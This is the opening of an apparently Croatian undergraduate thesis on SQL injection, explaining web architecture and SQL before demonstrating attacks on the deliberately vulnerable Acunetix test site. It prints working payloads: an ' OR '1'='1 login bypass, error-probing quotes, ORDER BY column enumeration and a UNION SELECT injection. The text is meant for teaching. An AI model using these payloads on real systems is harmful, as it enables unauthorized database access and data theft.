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aPIS

Web aplikacija se sastoji od programskog koda koji se izvr§ava na posluziteliskog strani kojije u
direktnoj, prakticki stalnoj, komunikaciji s bazom podataka. Ukoliko Web aplikacije nisu dobro
zasticene, omogucavaju zlonamjernim korisnicima izvodenje neZeljinih operacija na bazi podataka.
Jedan od najéesc¢ih napada na bazu podataka su napadi umetanjem SQL programskog koda.

U radu je potrebno ukratke opisati SQL upitni jezik, definirati osnove arhitekture Web aplikacije te
opisati osnove sustava za upravijanje bazom podataka.

U radu je potrebno detaljnije opisati | na konkretnim primjerima prikazati najéesée nadine napada
umetanjem SQL programskog koda. Takoder je potrebno navesti i metode zaétite od navedenih
napada.
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Predgovor

Ideja za odabir ove teme proizlazi iz znatizelje da neko opremljen samo obi¢nim internet
preglednikom, osnovnim znanjem baza podataka 1 s par znakova moZe pociniti Stetu
iskoriStavaju¢i sigurnosne propuste sustava. Nakon viSe od dvadesetak godina postojanja,
nevjerojatno je da postoji tehnika zlonamjernog napada koja se i dalje uspjesno koristi. Cilj rada
je Citatelje neovisno o iskustvu programiranja i na razumljiv nacin upoznati s posljedicama koje

mogu nastati loSim programskim praksama u razvoju web aplikacija.

Ovim putem zahvaljujem mentoru doc. dr. sc. Ladislavu Havasu na iskazanom povjerenju,

potpori i smjernicama u pisanju ovog rada.



Sazetak

Zavrsni rad upoznaje Citatelje s glavnim aspektima napada umetanjem SQL koda. Prolazi se
kroz temelje kao osnovni nacin rada web aplikacija, SQL jezik i baze podataka. Internetom kruzi
velik broj namjerno ranjivih web aplikacija koje sluZe kao legalni testni teren za prakticiranje
napada umetanjem SQL koda. U radu ¢e biti prikazane tehnike napada na Acunetix testnu web
aplikaciju napisanu koristenjem skriptnog jezika PHP i relacijske baze podataka MySQL.

U prakticnom dijelu sama izvedba napada uvelike ovise o sustavu za upravljanje bazama
podataka pa je prikazana sintaksa namijenjena samo za MySQL sustav. Za primjer
automatizirane izvedbe napada je koriSten program SQLmap u Linux Kali virtualiziranom
okruzenju. U sklopu rada se nalaze i smjernice oko sigurnosti za sve programere koji pokusavaju

zastititi svoje baze podataka.

Klju¢ne rijeci: baze podataka, MySQL, napad umetanjem SQL koda, SQL, SQLmap



Abstract

The final paper introduces readers to the main aspects of SQL injection attacks. It briefly
touches the basics of web application architecture, SQL language and databases. A large number
of intentionally vulnerable web applications are circulating on the Internet that serve as a legal
test ground for practicing SQL injection attacks. For demonstration purposes the attacks will
target an Acunetix test web application created using PHP backend language that uses MySQL
as the relational database management system.

In the practical part, the execution of the attack itself largely depends on the database
management system, so the displayed syntax is intended only for the MySQL database
management system. Example of an automated attack will be executed on SQLmap in a Linux
Kali virtualized environment. The paper also includes security guidelines for all developers

trying to protect their databases.

Keywords: SQL, SQL injection attack, MySQL, relational database management system,
SQLmap, databases
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1. Uvod

Danas se baze podataka koristi gotovo za sve sustave i web stranice jer podaci moraju biti
negdje pohranjeni. Prikupljanje masivne koli¢ine podataka su revolucionizirale danasnji nacin
zivota. Kako se osjetljivi podaci pohranjuju u bazu podataka sve je ve¢i rizik ukljucen u radu
sigurnosnih sustava. Napad umetanjem SQL koda barem na prvi pogled radi na vrlo jednostavan
nacin. Napadac Salje zlonamjerni SQL upit u polje koje se moze ispuniti i iskoriStava ranjivost u
samoj SQL implementaciji aplikacije. lako se ovaj vektor moze koristiti za napad na bilo koju
bazu podataka, najeS¢e mete su ipak web aplikacije.

U radu ¢e biti demonstrirana tehnika napada na relacijski sustav baze podataka i prevencije.
Organizacije ovise o njima jer koriste¢i baze podataka mogu analizirati prikupljene informacije i
ucinkovitije upravljati svojim resursima, a sve u svrhu donoSenja kvalitetnih poslovnih odluka.
Kako bi zastitile svoje podatke, organizacije koriste razli¢ite mjere jer posljedice sigurnosnog
propusta mogu biti kobne. Baze podataka cesto podrzavaju vrlo sloZene upite i ocekuje se da
pruzaju informacije u stvarnom vremenu (engl. real time). Funkcioniraju u tandemu s
aplikacijama gdje se obicno koristi sucelje na strani klijenta koje sluzi za otvaranje veze s bazom
podataka.

Vecina danasnjih web aplikacija omogucuje posjetiteljima unos i dohvat podatka, a to ujedno
1 pruza jedinstven ulaz u bazu podataka. Pristup posjetiteljima stranice ukljucuje pretrazivanje,
koriStenje obrasca za prijavu ili kontakta, a upravo takvi prozori se koriste za pristup bazi
podataka. Neispravno programirane aplikacije omogucit ¢e napadacu da koristi ranjivosti kao
ulaznu tocku 1 pristupi bazi podatka, a nakon toga moZe po Zelji manipulirati podacima.
Otkrivanje o kojem se sustavu za upravljanje bazom podataka radi je klju¢no za daljnje
iskoriStavanje ranjivosti. Bez toga ne bi bilo moguce odrediti koje tablice traziti, o kojim
ugradenim funkcijama sustava se radi i koje nacine detekcije izbje¢i. Napad umetanjem SQL
koda (engl. SOL injection) trenutno je jedan od popularnijih vektora napada poSto ovaj oblik ne
zahtjeva puno resursa i1 znanja. Vektor napada definira put koji napada¢ koristi u svrhu
iskoriStavanja sigurnosnog propusta.

Jos od 1998. godine kada je prvi put evidentiran pa do danas, napad umetanjem SQL koda
jo§ uvijek drzi visoko mjesto prema OWASP (engl. Open Web Application Security Project)
organizaciji, usmjerenoj prema poboljSanju sigurnosti softvera. Zanimljivo je da se kroz svoj
zivotni vijek napadi umetanjem SQL koda nisu puno promijenili. Uobi¢ajena je ranjivost koja
unato¢ tome §to se relativno lako moze otkloniti, nastavlja stvarati probleme 1 ako se ne otkrije

prije same implementacije pruza prozor mogucénosti potencijalnim napadacima.



Kroz rad ¢e se prezentirati direktan i automatiziran pristup pronalaZenja ranjivosti te izvedbe
napada umetanjem SQL koda. Koristit ¢e se namjerno ranjiva PHP aplikacija na stranici
“Acunetix.com” koja nudi besplatan i legalan teren za testiranje kako bi uz praksu bolje
razumjeli greske u programiranju.

Acunetix® je osnovan za borbu protiv alarmantnog porasta web napada. Donosi opseZan skup
opcija automatiziranih i ruc¢nih alata za testiranje penetracije, omogucujuci sigurnosnim
stru¢njacima da izvrSe procjene ranjivosti 1 poprave otkrivene prijetnje samo s jednim
proizvodom. Web aplikacija upotrebljava MySQL kao sustav za upravljanje bazom podataka,

tako da ¢emo obradit napade koji su namijenjeni specifi¢no tome sustavu.

! http://testphp.vulnweb.com - ranjiva Acunetix PHP web aplikacija
2 https://www.acunetix.com - Acunetix web stranica



https://www.acunetix.com
http://testphp.vulnweb.com/

2. Napadi umetanjem SQL koda

Godine 1998. Jeff Forristal, istraziva¢ za sigurnost pod pseudo imenom "Rain Forest Puppy",
objavljuje Clanak u Casopisu Phrack gdje opisuje probleme s tadasnjom verzijom Microsoft SQL
servera. [1] Opisao je nacin kako osoba s osnovnim vjeStinama programiranja moze s
neovlastenim SQL naredbama na nezasti¢enoj web stranici, dobiti osjetljive informacije iz baze
podataka. Kada je obavijestio Microsoft o tome nisu to dozivljavali kao neki problem.

Tek nakon cetiri godine, 2002. napadi umetanjem SQL koda privlac¢e pozornost u racunalnoj
sigurnosti. Pojava velikog broja racunalnih virusa i crva u kratkom vremenskom periodu,
alarmira sigurnosne strucnjake da je potrebno krenuti u razvoj softverske tehnologije za obranu
od razli¢itih nadina napada. Bill Gates svojim zaposlenicima Salje dopis "Microsoft toward
Trustworthy Computing" o sigurnosti i povjerenju svojeg softvera. [2] Ova inicijativa je
pokrenula razvoj sigurnosne tehnologije te se poc¢inju ozbiljnije shvacati propusti koji nastaju
lo§im programiranjem. Od tada se pojavljuje bezbroj ¢lanaka o napadima umetanjem SQL koda.

Prvi sigurnosni alat kojem je glavni zadatak prevencija i detekcija napada umetanjem SQL
koda, pojavljuje se 2005. godine pod nazivom AMNESIA (engl. Analysis and Monitoring for
Neutralizing SQL Injection Attacks). Alat radi model tablice moguc¢eg SQL koda koji bi se
upotrijebio za napad i tada analizira svaku tocku gdje bi se mogao umetnuti kod. [3] OWASP
predstavlja neprofitnu zajednicu na internetu kojoj je cilj poboljSati sigurnost softvera uz
redovitu objavu dokumentacija, alata 1 tehnologija kako bi se zastitili od potencijalnih
sigurnosnih rizika. Svake tri do Cetiri godine objavljuje se OWASP Top 10 rangiranje i savjeti za
zaStitu od deset najkriti¢nijih sigurnosnih rizika web aplikacija, temeljen na konsenzusu
sigurnosnih stru¢njaka. [4] Jo§ od prvih objava napadi umetanjem SQL koda se redovito

razvijaju 1 zauzimaju visoko mjesto u ranjivosti web aplikacija.

2007

2013

6 6 o

Slika 2.1 - OWASP Top 10 rangiranje napada umetanjem SQL koda po godinama objave [4]



Moze se zakljuciti da skok u popularnosti lezi u samoj jednostavnosti koriStenja. Na ranjivoj
web aplikaciji uz samo nekoliko linija koda na aplikacijskom sloju moguce je poslati upit prema
bazi podataka. Za razliku od drugih vektora napada resursi koji su potrebni za samu izvedbu su
krajnje minimalni i svode se na jedno racunalo. Drugi napadi zahtijevaju ogromne resurse i
vrijeme koji ukljucuju tisuée racunala kao kroz angazman Botneta u izvrSavanju napada. Neki od

poznatijih napada umetanjem SQL koda redovito dospjevaju u medije:

Godina | Reference | Opis

2009. [5] ukradeno 130 milijuna brojeva kreditnih kartica, tada prozvano

najvecom kradom identiteta u Americkoj povijesti

2009. [6] RockYou stranica koja se bavila razvijanjem web aplikacija za
socijalne medije ima curenje 32 milijuna nekriptirana korisnicka racuna

1 lozinka, spremljenih u bazi podataka s tekstualnim oblikom

2011. [7] MySQL sluzbena stranica SUBP sustava ima curenje baze podataka s

korisni¢kim ra¢unima i lozinkama vodec¢ih ljudi u kompaniji

2011. [8] Sony Pictures, sluzbena stranica poznate kompanije Sony ima curenje
baze podataka s milijunima nekriptiranih korisni¢kih ra¢una 1

pripadaju¢im informacijama spremljenih u tekstualnom obliku

2012. [9] Yahoo ima curenje baze podataka s 450 tisu¢a korisnickih racuna i

pripadaju¢im lozinkama spremljenih u tekstualnom obliku

2015. [10] Vtech globalni dobavljac elektri¢nih proizvoda ima curenje baze

podataka od pet milijuna korisnickih racuna

2016. [11] Americka drzavna stranica EAC (U.S. Election Assistance Commission)
zaduzena za pomo¢ kod provodenja lokalnih i drzavnih izbora ima

curenje baze podataka administratorskih korisnickih racuna

2019. [12] Georgia Institute of Technology jedan od vodec¢ih Americkih tehnickih
fakulteta ima curenje baze podataka od 1,3 milijuna korisnic¢kih

podataka

Tablica 2. Prikazani napadi umetanjem SQL koda, godina i opis




2.1. Arhitektura web aplikacije

Da bi shvatili nacin rada napada umetanjem SQL koda potrebno je poznavati na¢in rada web
aplikacija s kojima se susrecemo. Osnovna ideja nacina rada aplikacije je da postoji prednje
sucelje (engl. front-end) koje komunicira sa straznjim slojem (engl. back-end) na posluziteljskom
dijelu aplikacije. Aplikacije su radene slojevito pa postoji nekoliko tipova arhitektura, a odabir
arhitekture ovisi o namjeni.

Kao primjer se uzima web aplikacija napravljena koriStenjem troslojne arhitekture koja se
sastoji od prezentacijskog, logi¢kog i podatkovnog sloja. Cesto se koristi u aplikacijama kao
specificna vrsta sustava na relaciji klijent/posluzitelj, pruzaju¢i brojne pogodnosti za razvojno
okruzZenje modularizacijom korisni¢kog sucelja, logike i slojeva za pohranu podataka. Uvijek je
moguce fleksibilno razvijati, nadogradivati ili seliti bilo koji sloj neovisno od drugog. Temeljno
pravilo ovog modela je da prezentacijski sloj nikada ne komunicira izravno s podatkovnim

slojem, sva komunikacija mora pro¢i kroz logicki sloj.

Prezentacijski sloj

. . Softverski Tijek rada
LOgIEkI S|OJ okvir sustava
(framework) (workflow)

Podatkovni sloj

Slika 2.2 - Model troslojne arhitekture

Prezentacijski sloj (engl. presentation tier) spada u najvisi sloj arhitekture aplikacije. Smatra
se komunikacijskim slojem gdje klijent putem korisnickog sucelja komunicira s aplikacijom.
Prikazuje informacije povezane s uslugama kao Sto su sadrzaj, kupnja, pregledavanje artikla, itd.
Komunicira s drugim slojevima iznoSenjem rezultata na sloju web preglednik/korisnik te obicno

se razvija kroz HTML, CSS i JavaScript.



Logicki sloj (engl. logical tier) kontrolira funkcionalnost aplikacije i obraduje dobivene
podatke. Smatra se srcem aplikacije gdje se provodi obrada dobivenih podataka s
prezentacijskog sloja. Razvoj ovog sloja se najcesce radi kroz PHP, Java, Python, C++, Ruby,
NET, itd.

Podatkovni sloj (engl. data tier) se sastoji od baze podataka i sustava za upravljanje bazom
podataka. Ovdje se informacije pohranjuju i vracaju na posluzitelju te drze odvojeno od
aplikacijskog 1 logickog sloja. Primjeri takvih sustava su neki od relacijskih modela baze

podataka kao MySQL, Oracle, Microsoft SQL Server, PostgreSQL, itd.

2.2. SQL

Kada se u racunalnim sustavima govori o spremanju podataka tada se oslanjamo na baze
podataka. Mogu se opisati kao spremnici objekata gdje su informacije smjeStene na organiziran i
strukturiran na¢in. Baze podataka Cesto svoj ciklus zapo€inju u programu za obradu teksta ili
proracunskim tablicama, ali kako postaju sve vece, zbog lakSe manipulacije ih je korisno
prenijeti u sustav za upravljanjem baza podataka. SQL (engl. Structured Query Language) je
programski jezik stvoren to¢no za taj zadatak. Dizajniran da komunicira s bazama podataka,
omogucuje unos upita i povratnih rezultata. Za razliku od drugih programskih jezika nije
kompliciran, ve¢ je razumljiv 1 lagan, a sposoban je izvrSavati razliCite vrste operacija. Prati
jedinstvena pravila i smjernice koja ne razlikuju velika i mala slova, a sintaksa ovisi o relacijskoj
algebri. Kao 1 drugi programski jezici SQL je utemeljen na naredbama za tumacenje niza
znakova. Oni su umetnuti sa Zeljenom sintaksom gdje odredeni izrazi odgovaraju samo jednoj
mogucoj operaciji izvedbe. SQL naredbe koristimo za kreiranje, Citanje, aZuriranje i brisanje
podataka u tablici. Bitno je poznavati neke od glavnih naredbi kako bi bolje razumjeli

moguénosti napada umetanjem SQL koda:

SELECT - naj¢eS$¢a naredba u SQL-u, njezina svrha je da omogu¢i pretrazivanje baze

podataka gdje prikazuje rezultat u obliku tablice koja zadovoljava uvjete upita

e TUPDATE - koristi se za izmjenu postojecih zapisa u tablici

e CREATE - upotrebljava se za stvaranje baze podataka i tablica unutar njih

e INSERT - dodaje nove vrijednosti u bazu podataka

e DROP - briSe tablicu ili cijelu bazu podataka, korisna za izvrSavanje napada jer moze

onemogucit funkcionalnosti aplikacije



U sintaksi SQL-a postoje odredeni znakovi koji imaju specificne funkcije i Cesto se

ponavljaju kada ih zlonamjerno koristimo kod napada umetanja koda. Neki od popularnijih su:

e jednostruki (') i dvostruki (™) navodnik se najceS¢e prvi upotrebljavaju u testiranju

ranjivosti baze podataka. U SQL jeziku se koriste kao razdjelnici (engl. delimiter) unutar
upita. Pojedina¢ni navodnik ukazuje na pocetak i kraj nekog niza znakova, dvostruki se
moze upotrebljavati za isto, ali to ovisi o tipu baze podataka gdje postoje odredene
razlike u sintaksi.

e dupla crtica (--) predstavlja pocCetak komentara koji odgovara slijedu teksta do kraja

retka. Umetne 1i se u dio koda, sve iza njega ¢e sustav smatrati komentarom 1 biti ¢e

ignorirano.

2.3. Sustavi za upravljanje bazom podataka

Bez obzira gdje su podaci fizi¢ki pohranjeni, baza podataka djeluje kao jedinstvena cjelina za
sustav koji ith koristi. Da bi mogli koristiti bazu podataka potreban nam je nacin izvodenja
takozvanih CRUD (engl. Create, Read, Update and Delete) zadataka, odnosno nacin za stvaranje
novih, Citanje 1 pronalaZzenje postoje¢ih te azuriranje i brisanje zastarjelih podataka. Za to je
odgovoran sustav za upravljanje bazom podataka koji sluzi kao sucelje izmedu krajnjeg
korisnika i1 baze podataka. Sustav optimizira obradu podataka te sastoji se od strukturne sheme
koja omogucuje lakSu organizaciju 1 manipulaciju podataka. DBMS (engl. Database
management system) ¢e definirati pravila i manipulirati formatom podataka, imenima polja,
strukturom zapisa 1 samom strukturom datoteke. Mozemo ih podijeliti na dvije velike skupine,

relacijske 1 nerelacijske baze podataka.

RELACIJSKE NERELACIJSKE

id, naslov id, naslov, komentar / slika

Slika 2.3 Relacijske i nerelacijske baze podataka



Relacijska baza podataka je vrsta baze podataka koja pohranjuje i omoguéuje pristup skupu
podataka koji su medusobno povezani. Sprema podatke u tablicama, pruzajuci fleksibilan i
ucinkovit nacin za pohranu 1 pristup strukturiranim informacijama. Svaki red u tablici predstavlja
zapis s jedinstvenim nac¢inom identifikacije opisan kao atribut klju¢ (engl. key). Stupci u
tablicama drZe podatke i1 svaki zapis ima vrijednost za svaki atribut.

Nerelacijske ili NoSQL baze podataka omogucuje mehanizme za pohranu i pronalazenje
podataka koje su bazirane na bilo koji drugi nacin osim tabli¢nih odnosa koji se koriste u
relacijskim bazama podataka. Probila su se Cetiri glavna tipa NoSQL baza podataka gdje svaka

ima svoje karakteristike 1 koriste se za specifi¢an zadatak ovisno o tipu:

e dokument baze (engl. document databases)
e model klju¢-vrijednost (engl. key-value databases)
e model stupaca (engl. column oriented databases)

e graf baze (engl. graph databases)

Svi sustavi koriste SQL jezik, ali u svakom postoje odredene varijacije iste naredbe.
Izvidanje je uvijek prvi korak u traZenju ranjivosti aplikacija. Informacije o kojem se sustavu za
upravljanje bazom podataka radi, uvelike olakSavaju napadacu formiranje pristupa s kojim ¢e
pokusati izvrsiti napad. Neki od poznatijih komercijalnih sustava za upravljanje bazom podataka

su:

e MySQL - najpoznatiji relacijski sustav otvorenog koda (engl. open source). Brz,
fleksibilan i jednostavan za koristenje, Cesto koriSten kao referenca za cjelokupnu SQL
sintaksu, najc¢esce se koristi s web aplikacijama temeljenima na PHP jeziku.

e OracleDB - modularan i prvi izbor vecih tvrtki zbog ucinkovitog upravljanja bazama
podataka 1 sigurnosnih opcija. Visoka kompatibilnost s mnogim tehnologijama,
programskim jezicima i modelima baze podataka, zbog Cega je i skuplji izbor.

e PostgreSQL - relacijsko-objektno orijentiran sustav otvorenog koda, napredan 1 visoko
modularan.

e MongoDB - najpopularniji NoSQL sustav. Fleksibilan 1 visoko kompatibilan, funkcionira
na principu kolekcije dokumenata u JSON formatu.

e Microsoft SQL - relacijski sustav koji je najceSce rjeSenja u poslovnom svijetu jer je

optimiziran za rad s Windows sustavima.



3. Osnovni koncept napada umetanjem SQL koda

Ovisno o cilju, napad umetanjem SQL koda se moze koristiti na vi$e nacina, ali naj¢esce da
se dode do nedostupnih informacija slanjem upita prema bazi podataka samom manipulacijom
programske logike aplikacije. Tada je napada¢ u moguénosti zaobici autentifikaciju, dobiti
pristup bazi podataka, kopirati, modificirati i izbrisati podatke po Zelji. Izvidanje i prikupljanje
informacija je uvijek prvi korak svakog uspjesnog plana napada, a identifikacije i testiranje
konfiguracije sustava uvelike pomaZe kod biranja nac¢ina na koji ¢e se izvrsiti napad.

Napad umetanjem SQL koda je tehnika umetanja programskog koda namijenjena
aplikacijama koje koriste bazu podataka gdje se posebno izveden SQL upit ubacuje u polja za
unos podataka i tada prosljeduje na izvedbu. To moze biti bilo koje polje za unos u aplikaciji ili
URL (engl. Uniform Resource Locator) adresa. IskoriStava se sigurnosna ranjivost gdje se
uneseni podaci ne provjeravaju od strane posluzitelja jer uspjeh napada ovisi o sintaksi ispravno
napisanog SQL upita. Ako kroz poslan upit aplikacija odgovori s greSkom u bazi podataka tada
postoji moguénost da je aplikacija ranjiva. Pomoc¢u generiranih informacija o gresci, napadac je
u mogucénosti razumjeti na koji nacin funkcionira baza podataka.

Vazno je vizualizirat programsku logiku koja je ugradena u sustav aplikacije pa tako napadac
pokusava modificirat poslan upit zbog kojeg je dobio prvobitnu gresku i testirat daljnje
ponaSanje baze podataka. Na dobivene podatke od strane korisnika, aplikacijski posluzitelj se
pokuSava spojiti s bazom podataka i1 prosljeduje upit na izvedbu. Za napad i sakupljanje
informacija se koristi isti kanal komunikacije pa je moguce samo kroz jedno korisni¢ko polje za
unos dobiti uvid u cijelu bazu podataka. Napada¢ nakon uspjeSnog napada moze citati i
manipulirat postoje¢im podacima kroz brisanje ili kreiranje novih, pa tako postati i administrator
baze podataka. Najvise se koristi kao vektor napad na web aplikacije, ali moze se koristiti za
napad bilo koje SQL baze podataka.

Uzmimo za primjer aplikacijsku formu za autentifikaciju s kojom se korisnici ¢esto susrecu.
Uobic¢ajeni obrazac za prijavu se sastoji od unosa teksta korisnickog imena i lozinke, nakon
unosa aplikacija trazi podudaranje s umetnutim podacima kako bi provjerila da li navedeni par
korisnickog imena i lozinke postoji unutar istog zapisa baze podataka, tj. da je povezan s jednim

korisnikom.



KORISNICKA OZNAKA

a student

ZAPORKA

ﬂ uninStudent123 ®

PRIJAVA

Slika 3.1 Obrazac za prijavu na web stranicu’

U naSem slucaju upisi u polju korisnicka oznaka student 1 lozinka uninStudent123 su

jedine stvari pod naSom kontrolom pa na dobivene unose prvo ¢e zahtjev pro¢i kroz aplikaciju na
logickom sloju koja ¢e ga proslijediti u bazu podataka na provjeru gdje bi SQL upit izgledao

kao:

SELECT * FROM korisnik

WHERE ime='student' AND zaporka='uninStudentl23'

Ako je dobiveni unos prosao provjeru i podaci se podudaraju s onima u bazi podataka, upit
je istinit te se korisnik uspjesno prijavljuje (faza autentifikacije) , a ako se ne podudara onda je
neistinit 1 pristup ¢e biti onemogucéen. Napad se dogada kada aplikacija obraduje posebno
napisan korisni¢ki unos na nacin koji omogucuje da izade iz konteksta podataka i ude u kontekst
naredbe. Na taj nain se mijenja struktura SQL izraza koja se izvr$ava, a krajnji cilj svakog SQL
upita je da bude istinit, napravljen od dobivenog unosa (engl. string) i naredbe (engl. statement)

koje kontroliraju na koji nacin ¢e se izvrsiti upit.

KORISNICKA OZNAKA

& student

ZAPORKA

ﬂ "OR '1'="1 ®

PRIJAVA

Slika 3.2 Obrazac za prijavu na web stranicu sa zlonamjernim kodom

3 https://www.isvu.hr/studomat/hr/prijava - Studomat obrazac za prijavu
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https://www.isvu.hr/studomat/hr/prijava

SELECT * FROM korisnik

WHERE ime='student' AND zaporka='' OR '1l'='1"

To je jedan od najosnovnijih upita s kojim bi napada¢ mogao zaobici autentifikaciju. Unese li
se zlonamjerni upit (engl. payload) ' OR '1'='1 u polje lozinke na aplikacijskoj formi, SQL
upit koji se provede ¢e biti izvrSen u bazi podataka bez obzira na naveden unos, a razlog je
promijena logike upita pomocu naredbe OR (ILI) vec na sloju aplikacije. Stavljanje bilo kojeg
logickog izraza (engl. boolean) s istinitim iskazom s operatorom OR koji vraca istinu ako je bilo

koji od dva uvjeta istinit, znac¢i da ¢e se uvijek imati istiniti rezultat. S navedenim zlonamjernim
upitom i matematickom logikom jedan ¢e uvijek biti jednak jedan. Na ovaj nacin ako tocka ulaza
nije sanirana i ne provjerava uneseni podatak napadac se uspjeSno prijavljuje na stranicu,
neovisno koja je lozinka. Takoder moguce je izvrSiti napad 1 putem poveznice na internet

pregledniku. Uzmimo za primjer sljedecu poveznicu:

http://www.primjer.hr/proizvod.php?id=1

Poveznica prikazuje proizvod koja ima id=1 , vizualizira se u bazi podataka kao parametar

proizvoda s brojem identifikatora i predstavlja vrijednost u nekoj tablici, a zamisljen SQL upit bi

izgledao kao:

SELECT id, ime, opisProizvoda FROM proizvod WHERE id=1

Ako stranica ne provjerava unesene izraze napadaC bi i ovdje mogao manipulirati bazom

podataka s nastavkom unosa u poveznici internet preglednika.

http://www.primjer.hr/proizvod.php?id=1 OR 1=1

Tada bi zamisljen SQL upit u bazi podataka izgledao kao:

SELECT id, ime, opisProizvoda FROM proizvod WHERE id=1 OR 1=1

Posto je upit istinit po 1=1 logici, dobit ¢e se prikazani svi proizvodi koji su popularizirani u
bazi podataka. Uvid u sve proizvode ne izgleda kao efektivan napad, ali ako se moze na bilo koji
nacin manipulirat unosima, otvorene su mogucnosti gdje sve ovisi 0 znanju i namjerama

napadaca.
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3.1. Napad temeljen na greSkama - (engl. Error based)

Kada prosje¢an korisnik vidi neku zbunjujuéu gresku aplikacije, Cesto ignorira i ne
razmi$ljamo puno o tome, ali u pravim rukama prikazane informacije mogu puno otkriti o na¢ina
rada sustava. Lov na greske 1 informacije prikazane u njima, uvelike pomazu napadacu u biranju

vektora napada i razumijevanju upita koji se Salje prema bazi.

Error ' Joomlal

An error has occurred.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near 't view this%’ )" at line 1

@ Retumn to Control Panel

Slika 3.3 Primjer generirane greske web aplikacije

Kako bi se pronaSao nacCin izvrSavanja napada umetanjem SQL koda, zapolinje se s
ubacivanjem specijalnih znakova namijenjenih samo za bazu podataka na sucelje korisnickog
unosa aplikacije ili izravno kroz URL. Prati se komunikacija izmedu aplikacije i baze podataka
te gleda kako ¢e se ona ponasati. U slucaju da se u bazi podataka desila greska, aplikacija moze

generirati greSku kao povratnu informaciju 1 odati korisne informacije o bazi podataka.

€& —> € A Notsecure | testphpwulnweb.com/artists.php?artist=1

1 Apps

M acunetix

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | yourcart | guestbook | AJAX Demo

search art artist: rdwB8173

Browse categories

Browse arfists Lorem ipsum delor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam
Your cart sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac

Slika 3.4 Prikaz Acunetix web aplikacije
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Pokusava se pronaci nacin izlazaka iz postojeceg SQL upita gdje se Cesto upotrebljavaju
znakovi kao jednostruki navodnici ('), dvostruki navodnici (%), tocka-zarez ( ;) ili dupla crtica

(- -) uneseni u ranjiva polja za unos kako bi se pokusao omesti postojeéi upit.

http://testphp.vulnweb.com/artists.php?artist=1"'

& > C |m testphp.vulnweb.com/artists.php?artist=1"

¢ Apps

Moacunetix [oe e

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | yourcart | guestbook | AJAX Demo

search art Warning: mysql_fetch_array() expects parameter 1 to be resource,
boolean given in /h/variwww/artists php on line 62

Browse categories
Browse artists
Your cart

Slika 3.5 Greska web aplikacije nakon unesene zlonamjerne vrijednosti

U ovom slucaju ako se ciljano u internet preglednik unese po sintaksi krivi unos kao

jednostruki navodnik (') na kraju poveznice, dobit ¢e se informacije o greSci koja govori o

funkciji 1 kojem se sustavu za upravljanje bazama podataka radi. Funkcija
mysgl fetch array () ocekuje resurs, a umjesto toga prima boolean vrijednost.

Ova greska se Cesto pojavljuje ako se nije provjeravalo da li se MySQL upit uspjesno izvrsio.
Prikazana PHP funkcija omogucuje pristup pohranjenim podacima u povratnom rezultatu ako je
logicki upit istiniti. Namjerno krivo unesena varijabla, dala je logicki neistinitu vrijednost
umjesto resursa pa se povratno vratila greska. Pogledom na poveznicu moze se vizualizirati kako
bi izgledao upit prema bazi podataka koji je generirao greSku, upitnik (?) predstavlja jos

nepoznatu tablicu.

SELECT * FROM ? WHERE artist=1’

Posto je jasno da se radi o MySQL posluzitelju, napadacu je ovo bitna informacija, ne samo
da se Stedi vrijeme ve¢ suzava broj vektora napada koji se mogu isprobati. Moze se i¢i i1 korak
dalje te saznati koliko stupaca sadrzi tablica kroz seriju postavljenih upita prema bazi podataka.

Pratimo ponasanje aplikacije:
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Poslan upit Odgovor

http://testphp.vulnweb.com/artists.php?artist=1 order by 1 |nema greske

http://testphp.vulnweb.com/artists.php?artist=1 order by 2 | nema greske

http://testphp.vulnweb.com/artists.php?artist=1 order by 3 | nema greske

http://testphp.vulnweb.com/artists.php?artist=1 order by 4 | greska

Tablica 3.1 Prikazano je ponasSanje aplikacije tijekom napada temeljen na greSkama ORDER BY

naredbom

PonaSanje aplikacije je otkrilo da se radi o tri stupca u tablici. Naredba ORDER BY sortira po

redoslijedu zapis iz rezultata upita, nije ¢ak ni potrebno poznavati ime stupca u tablici. Umjesto
ciljanog naziva, s brojem se moze jednostavno specificirat njegov redni polozaj. Postepenim
povecavanjem broja se pokuSava izazvati greska i tada se sa sigurnos¢u moze pretpostaviti koliki
broj stupaca postoji u tablici. Polako se dobiva mentalna slika tablice pa kroz sljedec¢i primjer

pomodu UNION operatora dobit ¢e se uvid u bazu podataka.

3.2. Napad pomocu UNION operatora - (engl. UNION-based)

U SQL-u operator unije (engl. UNION) se koristi za spajanje rezultata dva ili viSe SELECT

izraza gdje je potrebno pratit odredena pravila:

e svaki SELECT upit mora imati isti broj stupaca

e izrazi moraju imati isti redosljed

e stupci moraju sadrzavati slican tip podataka

A B A UNION B

Slika 3.6 Primjena UNION operatora
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Kada je aplikacija ranjiva na napad, a rezultati upita se prikazuju unutar odgovora aplikacije,
operator UNION moze se koristiti za dohvat podataka iz drugih tablica koje nisu vidljive u bazi
podataka. Operator UNION cesto se koristi u napadima gdje se otkrivaju i objavljuju baze
podataka. Mora zadovoljiti nekoliko uvjeta, tocan broj stupaca koji se koristi u ranjivom upitu i
koji stupci vracéeni iz prvobitnog upita ¢e zadovoljit kompatibilnost tipa podataka kada se ubaci
zlonamjerni dio upita.

Iz predhodnog primjera je vidljivo da postoje tri stupca u tablici, a mozemo logikom
pretpostaviti da se radi o znakovnom tipu posto prikazan tekst sadrzi slova. Ovisno o sustavu, u
SQL-u se mogu SELECT naredbom odabrati konstante bez pozivanja tablice u upitu, ako se to
spoji 1 zadovolji uvjet unije moguce je dobiti ispis upita kroz sucelje ranjivog parametra

aplikacije.

SELECT * FROM ? WHERE artist=1
UNION

SELECT 1,2,3

Vidljivo je da u parametru ‘artist’ postoji ranjiva vrijednost, pa se moze promijeniti
izvorni upit i napraviti neispravnim kako bi se vidio ispis zlonamjernog upita. Negativne
vrijednosti rijetko sluze kao identifikatori u bazi podataka. Postavi li se vrijednost u poveznici

upita na -1 ili bilo koju drugu negativnu vrijednosti koja nije prisutna u bazi podataka, izvorni

upit ¢e trazit podatke koji ne postoje.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3

& > (C |[; testphpyulnweb.com/artists.php?artist=-1 union select 1,2,3

: Apps

M acunetix M

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art artist: 2

Browse categories 3

Browse artists

Your cart view pictures of the artist

Slika 3.7 Uspjesan napad UNION operatorom
